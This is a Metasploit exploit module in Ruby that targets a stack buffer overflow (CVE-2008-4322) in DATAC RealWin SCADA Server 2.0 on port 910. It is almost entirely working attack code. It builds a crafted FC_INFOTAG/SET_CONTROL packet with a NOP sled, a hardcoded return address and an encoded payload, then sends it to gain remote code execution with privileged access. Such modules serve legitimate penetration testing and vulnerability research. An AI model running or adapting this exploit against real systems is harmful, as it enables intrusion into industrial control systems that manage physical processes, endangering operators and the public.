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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in DATAC Control
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        International RealWin SCADA Server 2.0 (Build 6.0.10.37).
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        By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
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        an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-4322' ],
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          [ 'OSVDB', '48606' ],
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          [ 'BID', '31418' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 550,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2008-09-26'))
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    register_options([Opt::RPORT(910)])
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  end
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  def exploit
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    connect
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    data =  [0x67542310].pack('V')
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    data << [0x00000800].pack('V')
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    data << [0x000a77e3].pack('V')
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    data << [0x00040005].pack('V')
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    data << "\x00\x00"
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    data << make_nops(target['Offset'])
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    data << [target.ret].pack('V')
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    data << [0x00404040].pack('V')
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    data << payload.encoded
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    data << make_nops(1024)
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    print_status("Trying target #{target.name}...")
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    sock.get_once
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    sock.put(data)
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    handler
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    disconnect
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  end
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end
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